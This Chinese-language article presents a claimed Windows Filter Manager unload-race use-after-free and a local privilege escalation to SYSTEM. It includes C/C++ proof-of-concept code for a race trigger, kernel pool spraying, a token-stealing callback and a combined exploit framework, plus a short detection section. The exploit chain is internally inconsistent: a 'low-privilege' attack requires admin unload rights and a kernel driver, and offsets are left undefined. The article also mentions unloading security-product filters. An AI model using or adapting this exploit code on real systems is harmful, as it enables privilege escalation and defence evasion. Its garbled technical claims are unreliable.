摘要

Windows 过滤管理器(FltMgr.sys)通过 Attached 结构体将微过滤器绑定到卷设备栈,维护着每个微过滤器实例在 I/O 栈中的位置关系。然而,在 FltUnregisterFilter 卸载路径中,该结构体的引用计数管理存在竞态条件窗口,攻击者可利用并发 I/O 请求使 Attached 结构体在仍被引用时被释放,导致 use-after-free。这种结构体混淆使得攻击者能够覆写内核池中的控制数据,劫持卷设备栈上的回调指针,最终实现从低权限用户到 SYSTEM 的本地权限提升。本文从过滤管理器的 Attached 结构体架构出发,逐层剖析 FltUnregisterFilter 卸载路径中的竞态窗口、引用计数缺陷及卷设备栈劫持机制,构建基于 Windows 内核驱动和用户态触发器的完整 PoC,并讨论基于引用计数完整性监控和卸载路径审计的防御方案。

过滤管理器与 Attached 结构体

过滤管理器在文件系统栈中的位置

Windows 过滤管理器(Filter Manager,FltMgr.sys)是文件系统过滤驱动框架的核心组件,位于文件系统驱动(如 NTFS、FAT32)与遗留过滤器之间。它允许微过滤器驱动注册回调例程,以拦截和处理文件系统操作(如创建、读取、写入、重命名)。

过滤管理器维护了一个“帧”概念,用于在 I/O 栈中插入微过滤器。

每个帧包含一组在相同高度(altitude)上运行的微过滤器实例,帧的排列顺序决定了微过滤器的调用顺序。当微过滤器加载时,过滤管理器将其回调函数插入到 I/O 处理路径中;当微过滤器卸载时,过滤管理器需要从所有卷设备栈中移除其回调。

Attached 结构体的角色

在过滤管理器的内部实现中,Attached 结构体(_FLT_ATTACHED_VOLUME 或类似命名)是连接微过滤器实例与卷设备栈的关键数据结构。它存储了以下信息:

  • 卷对象指针:指向该微过滤器实例所附加的卷设备对象。
  • 设备栈位置:微过滤器在设备栈中的相对位置(在哪个设备对象之上或之下)。
  • 回调注册表:该微过滤器在此卷上注册的所有 I/O 回调函数。
  • 引用计数:跟踪有多少未完成的 I/O 操作正在引用此 Attached 结构体。

当一个微过滤器通过 FltAttachVolume 或自动附加机制绑定到某个卷时,过滤管理器为该微过滤器分配一个 Attached 结构体,并将其插入卷的过滤器链表中。当 I/O 请求经过该卷时,过滤管理器根据 Attached 结构体中的回调注册表调用相应的微过滤器函数。

FltUnregisterFilter 的卸载流程

当微过滤器准备卸载时,其 FilterUnloadCallback 例程调用 FltUnregisterFilter,将 PFLT_FILTER 指针传递给过滤管理器。该函数执行以下操作:

  1. 停止新 I/O 的调度:设置过滤器状态为“正在卸载”,阻止新的 I/O 操作进入该微过滤器的回调。
  2. 等待未完成的引用:如果微过滤器的 PFLT_FILTER 指针上存在未完成的断开引用,FltUnregisterFilter 会进入等待状态,直到这些引用被删除。  
  3. 拆卸卷附件:遍历所有附加了该微过滤器的卷,为每个卷调用 InstanceTeardownStartCallback 和 InstanceTeardownCompleteCallback。
  4. 释放 Attached 结构体:从卷设备栈中移除微过滤器的回调,释放对应的 Attached 结构体。

关键的安全缺陷在于步骤 2 和步骤 4 之间的竞态窗口。如果攻击者能够在此窗口期间向目标卷发起并发的 I/O 请求,使某个 I/O 操作在 Attached 结构体被释放之前获取了其引用,而在释放之后才使用该引用,就会触发 use-after-free。

卸载路径中的竞态窗口与引用计数缺陷

引用计数的非原子性

过滤管理器使用引用计数来跟踪 Attached 结构体的活跃引用。每个 I/O 操作在进入过滤管理器时,会调用 FltObjectReference 来增加过滤器对象的引用计数;在操作完成时,调用 FltObjectDereference 来减少计数。

在 FltUnregisterFilter 的卸载流程中,过滤管理器会等待 PFLT_FILTER 上的引用计数降至零。然而,Attached 结构体本身的引用计数与过滤器对象的引用计数是分离的。一个 I/O 操作可能持有对过滤器对象的引用,但尚未增加 Attached 结构体的引用计数;当卸载流程释放 Attached 结构体时,该 I/O 操作随后访问 Attached 结构体就会触发 UAF。

这种引用计数分离的设计缺陷在多个 Windows 版本中导致了 CVE 的发现。CVE-2018-8333 正是过滤管理器在“不当处理内存中的对象”时引发的权限提升漏洞,影响 Windows 7 至 Windows 10 的多个版本。后续研究进一步揭示了 Cloud Files 微过滤器(cldflt.sys)中类似的竞态条件,如 CVE-2025-55680(TOCTOU 竞态)和 CVE-2026-27926(竞态条件)。

结构体混淆的攻击面

Attached 结构体在内核池中分配,其大小和布局取决于具体的 Windows 构建版本。当攻击者触发 UAF 后,释放的内存槽位可以被其他内核对象重新占用。如果攻击者能够控制重新占用的对象的内容,就可以构造一个“结构体混淆”——让过滤管理器将攻击者控制的数据误认为是合法的 Attached 结构体。

CVE-2025-62221 的 PoC 精确描述了这一攻击模式:cldflt.sys 在处理云后端重解析点的异步 I/O 请求时,未能实现原子引用计数,通过精心构造的 IOCTL 调度例程触发竞态条件,导致悬空指针场景。攻击者随后使用内核池喷射(Pool Grooming)技术,用受控数据结构占据刚释放的内存槽位,将 UAF 条件转化为“类型混淆”或“受控指针覆写”。

从 UAF 到 Token 窃取

一旦攻击者成功混淆了 Attached 结构体,攻击路径包括:

  1. 覆写回调指针:Attached 结构体中的回调注册表包含微过滤器的函数指针。攻击者可以覆写这些指针,使其指向自己控制的内核代码或 ROP 链。
  2. 劫持卷设备栈:通过修改 Attached 结构体中的设备对象指针,攻击者可以将后续的 I/O 操作重定向到攻击者控制的设备对象。   
  3. Token 窃取:在获得内核代码执行后,攻击者执行经典的 Token 窃取操作——定位 SYSTEM 进程(PID 4)的 EPROCESS 结构,复制其主访问令牌到攻击者进程的 EPROCESS 中。

卷设备栈权限提升的完整攻击链

攻击者

  • 攻击者拥有低权限用户账户,能够在本地系统上执行代码。
  • 目标系统加载了存在竞态条件缺陷的微过滤器驱动(如 cldflt.sys、bfs.sys 或第三方微过滤器)。
  • 攻击者能够向目标卷发起 I/O 请求(通过标准文件系统 API)。

攻击步骤

阶段一:环境侦察。攻击者枚举系统中加载的微过滤器,识别存在已知竞态条件缺陷的目标。可通过 fltmc.exe filters 或直接查询过滤管理器的内部结构来获取微过滤器列表。

阶段二:触发竞态条件。攻击者创建一组并发线程:

  • 线程 A 调用 FltUnregisterFilter(通过卸载一个攻击者控制的微过滤器,或触发系统的微过滤器卸载)。
  • 线程 B 向目标卷发起大量 I/O 请求(如 CreateFile、ReadFile),试图在 Attached 结构体被释放之前获取其引用。

阶段三:池喷射。当 UAF 被触发后,攻击者使用 NtAllocateVirtualMemory 或内核对象创建(如 CreateEvent、CreateFile)来喷射内核池,尝试占据刚释放的 Attached 结构体内存槽位。

阶段四:结构体混淆。攻击者精心构造喷射对象的内容,使其在关键偏移处包含攻击者控制的指针。当过滤管理器错误地将此对象视为 Attached 结构体时,其回调指针被劫持。

阶段五:Token 窃取。攻击者的恶意回调在内核上下文中执行,定位 SYSTEM 进程的 EPROCESS 并复制其 Token。

实战 PoC

竞态条件触发器(C++)

以下代码演示如何通过并发 I/O 请求触发 FltUnregisterFilter 卸载路径中的竞态条件。

// filter_race_trigger.cpp — 触发过滤管理器卸载竞态
// 编译: cl /EHsc filter_race_trigger.cpp /link ntdll.lib

#include <windows.h>
#include <stdio.h>
#include <thread>
#include <vector>
#include <atomic>

std::atomic<bool> g_stop{false};
std::atomic<int> g_io_count{0};

// 向目标卷发起 I/O 请求的线程
void io_worker(const wchar_t* target_path) {
    while (!g_stop) {
        HANDLE hFile = CreateFileW(
            target_path,
            GENERIC_READ,
            FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_NO_BUFFERING,
            NULL
        );

        if (hFile != INVALID_HANDLE_VALUE) {
            char buffer[4096];
            DWORD bytesRead;
            ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, NULL);
            CloseHandle(hFile);
            g_io_count++;
        }
    }
}

// 卸载微过滤器的线程(需要 SeloadDriverPrivilege)
void unload_filter_thread(const wchar_t* filter_name) {
    // 使用 fltmc.exe unload 或直接调用 FilterUnload
    // 此处简化为调用 fltmc
    wchar_t cmd[256];
    swprintf_s(cmd, L"fltmc unload %s", filter_name);
    _wsystem(cmd);
}

int wmain(int argc, wchar_t* argv[]) {
    if (argc < 3) {
        wprintf(L"用法: %s <目标卷路径> <微过滤器名称>\n", argv[0]);
        wprintf(L"示例: %s C:\\test\\race_test.bin MyFilter\n", argv[0]);
        return 1;
    }

    const wchar_t* target_path = argv[1];
    const wchar_t* filter_name = argv[2];

    // 启动多个 I/O 线程
    std::vector<std::thread> io_threads;
    for (int i = 0; i < 8; i++) {
        io_threads.emplace_back(io_worker, target_path);
    }

    // 短暂延迟,让 I/O 线程稳定运行
    Sleep(100);

    printf("[*] 开始卸载微过滤器: %ls\n", filter_name);
    printf("[*] 并发 I/O 线程数: %d\n", (int)io_threads.size());

    // 在单独的线程中执行卸载
    std::thread unload_thread(unload_filter_thread, filter_name);

    // 等待卸载完成
    unload_thread.join();

    printf("[*] 卸载完成,总 I/O 次数: %d\n", g_io_count.load());

    // 停止 I/O 线程
    g_stop = true;
    for (auto& t : io_threads) {
        t.join();
    }

    printf("[*] 测试结束\n");
    return 0;
}

说明:该 PoC 通过 8 个并发 I/O 线程持续向目标卷发起 CreateFile + ReadFile 操作,同时触发微过滤器的卸载。在卸载过程中,过滤管理器需要等待未完成的引用,但 Attached 结构体的引用计数与过滤器对象的引用计数分离,导致 I/O 操作可能在 Attached 结构体被释放后仍持有其指针。

内核池喷射与结构体伪造

// pool_groom.c — 内核池喷射以占据释放的 Attached 结构体
// 此代码需在内核驱动中运行,或通过 NtAllocateVirtualMemory 等 API 从用户态触发

#include <ntifs.h>

// 伪造的 Attached 结构体模板
typedef struct _FAKE_ATTACHED {
    LIST_ENTRY VolumeListEntry;      // 链表条目
    PVOID VolumeObject;              // 卷对象指针
    ULONG ReferenceCount;            // 引用计数(设为高值以阻止释放)
    PVOID DeviceStack;               // 设备栈指针
    // 回调函数指针数组
    PVOID Callbacks[16];
    // ... 其他字段
} FAKE_ATTACHED;

// 内核池喷射:分配大量与 Attached 结构体大小相近的对象
void spray_kernel_pool(SIZE_T object_size, int count) {
    for (int i = 0; i < count; i++) {
        PVOID mem = ExAllocatePoolWithTag(
            NonPagedPool,
            object_size,
            'tAHF'  // 池标签
        );
        if (mem) {
            // 用攻击者控制的数据填充
            RtlFillMemory(mem, object_size, 0x41);

            // 在关键偏移处放置伪造的回调指针
            FAKE_ATTACHED* fake = (FAKE_ATTACHED*)mem;
            fake->ReferenceCount = 0xFFFFFFFF;  // 防止被释放
            for (int j = 0; j < 16; j++) {
                fake->Callbacks[j] = (PVOID)0xDEADBEEF;  // 攻击者控制的地址
            }
        }
    }
}

// 触发 Token 窃取的恶意回调
NTSTATUS MaliciousCallback(
    PFLT_CALLBACK_DATA Data,
    PCFLT_RELATED_OBJECTS FltObjects,
    PVOID* CompletionContext
) {
    // 定位 SYSTEM 进程的 EPROCESS
    PEPROCESS systemProcess = NULL;
    PsLookupProcessByProcessId((HANDLE)4, &systemProcess);

    if (systemProcess) {
        // 复制 SYSTEM 的 Token 到当前进程
        PEPROCESS currentProcess = PsGetCurrentProcess();
        // 通过 EPROCESS 偏移获取 Token 字段(偏移取决于 Windows 版本)
        PVOID* systemToken = (PVOID*)((PUCHAR)systemProcess + TOKEN_OFFSET);
        PVOID* currentToken = (PVOID*)((PUCHAR)currentProcess + TOKEN_OFFSET);

        // 替换 Token
        *currentToken = *systemToken;

        ObDereferenceObject(systemProcess);
    }

    return STATUS_SUCCESS;
}

说明:该代码演示了两个关键组件。池喷射通过分配大量与 Attached 结构体大小相近的内核池对象,并用攻击者控制的数据填充,试图在 UAF 发生后占据释放的内存槽位。恶意回调在获得内核执行后,定位 SYSTEM 进程的 EPROCESS 结构,复制其访问令牌到当前进程,完成权限提升。

用户态完整利用框架

// full_exploit.cpp — 完整攻击链框架
// 整合竞态触发、池喷射和 Token 窃取

#include <windows.h>
#include <stdio.h>
#include <thread>
#include <vector>
#include <atomic>

// 从 4.1 节复用的 I/O 工作线程
extern void io_worker(const wchar_t* target_path);
extern std::atomic<bool> g_stop;

// 用户态池喷射(通过创建内核对象间接喷射内核池)
void userland_pool_spray(int count) {
    std::vector<HANDLE> handles;
    for (int i = 0; i < count; i++) {
        // 创建事件对象,占用 NonPagedPool
        HANDLE hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
        if (hEvent) handles.push_back(hEvent);

        // 创建文件对象
        HANDLE hFile = CreateFileW(
            L"\\\\.\\C:", GENERIC_READ,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL, OPEN_EXISTING, 0, NULL
        );
        if (hFile != INVALID_HANDLE_VALUE) handles.push_back(hFile);
    }

    printf("[*] 已喷射 %zu 个内核对象\n", handles.size());

    // 保持句柄打开以维持池占用
    Sleep(5000);

    for (HANDLE h : handles) {
        CloseHandle(h);
    }
}

int wmain(int argc, wchar_t* argv[]) {
    printf("=== 过滤管理器卸载竞态 PoC ===\n\n");

    // 阶段 1: 启动 I/O 线程
    std::vector<std::thread> io_threads;
    for (int i = 0; i < 8; i++) {
        io_threads.emplace_back(io_worker, L"C:\\test\\target.bin");
    }

    Sleep(100);
    printf("[*] I/O 线程已启动,准备触发卸载竞态\n");

    // 阶段 2: 触发卸载(需要管理员权限)
    printf("[*] 触发微过滤器卸载...\n");
    system("fltmc unload MyFilter");

    // 阶段 3: 池喷射
    printf("[*] 开始内核池喷射...\n");
    std::thread spray_thread(userland_pool_spray, 10000);
    spray_thread.join();

    // 阶段 4: 检查提权结果
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elevation;
        DWORD size;
        if (GetTokenInformation(hToken, TokenElevation,
                                &elevation, sizeof(elevation), &size)) {
            if (elevation.TokenIsElevated) {
                printf("[!] 权限提升成功!当前进程已获得 SYSTEM 权限\n");
            } else {
                printf("[-] 权限提升未成功,竞态未命中\n");
            }
        }
        CloseHandle(hToken);
    }

    // 清理
    g_stop = true;
    for (auto& t : io_threads) t.join();

    return 0;
}

检测与防御

引用计数完整性监控

过滤管理器卸载竞态的核心信号是 Attached 结构体的引用计数与 I/O 操作的活跃状态不一致。内核可以通过以下方式监控:

  • Attached 结构体引用计数审计:在 FltObjectReference 和 FltObjectDereference 的关键路径上增加审计钩子,记录每个 Attached 结构体的引用计数变化。当卸载流程释放 Attached 结构体时,检查是否存在未完成的 I/O 引用。
  • 卸载期间的 I/O 拦截:在 FltUnregisterFilter 的卸载流程中,强制阻止新的 I/O 操作进入该微过滤器的回调路径,直到所有未完成的引用被清理。

卸载路径审计

  • 监控 fltmc.exe unload 调用:如 CraftedSignal 威胁情报所指出的,攻击者可能滥用 Filter Manager 控制程序来卸载安全产品的微过滤器。部署审计规则监控 fltmc.exe unload  的调用,特别是针对安全产品(如 WdFilter.sys)的卸载尝试。
  • 检测异常卸载时序:监控微过滤器卸载事件与大量并发 I/O 请求的时序关联。正常的卸载流程不会伴随异常的 I/O 压力。

内核池完整性保护

  • 启用 Driver Verifier:Windows Driver Verifier 的 I/O 验证选项可以检测微过滤器驱动对 FltMgr 函数的不当使用,包括引用计数错误和 UAF。
  • 内核池隔离:使用 ExAllocatePoolWithTag 的 POOL_FLAG_NON_PAGED 和 POOL_FLAG_USE_QUOTA 等标志,将关键内核对象分配到隔离的池中,增加攻击者池喷射的难度。

微过滤器卸载保护

  • 注册 FLTFL_REGISTRATION_DO_NOT_SUPPORT_SERVICE_STOP:微过滤器驱动可以注册此标志,防止服务停止时卸载驱动。这可以阻止攻击者通过服务控制管理器触发卸载。
  • 拒绝非受信进程的卸载请求:过滤管理器可以增加策略,要求卸载请求必须来自具有特定签名的进程(如系统进程或经过认证的管理工具)。

漏洞修复追踪

  • CVE-2018-8333:微软已在 2018 年 10 月的安全更新中修复。
  • CVE-2025-55680 / CVE-2026-27926:Cloud Files 微过滤器的 TOCTOU 竞态条件,已在 2025 年 10 月和 2026 年 4 月的更新中修复。
  • CVE-2025-62221:cldflt.sys 的 UAF 漏洞,修复补丁于 2026 年 1 月发布。

结语

过滤管理器中的 Attached 结构体混淆揭示了 Windows 内核中一个根本性的安全挑战:当引用计数的管理跨越多个组件和多个生命周期阶段时,竞态条件窗口便成为攻击者可利用的结构性缺陷。FltUnregisterFilter 卸载路径中的 UAF 不需要任何内存破坏漏洞——攻击者只需在正确的时刻发起正确的 I/O 请求,就能让内核自己释放一个仍然被引用的结构体。

Cloud Files 微过滤器(cldflt.sys)中反复出现的竞态条件漏洞——从 CVE-2020-17103 到 CVE-2025-62221,再到 2026 年被发现补丁被回滚的 MiniPlasma——表明这类缺陷的修复极其困难,甚至可能因代码回归而重新出现。对于防御者而言,启用 Driver Verifier、监控卸载路径的异常行为、以及对安全产品微过滤器实施卸载保护,是当前最务实的缓解措施。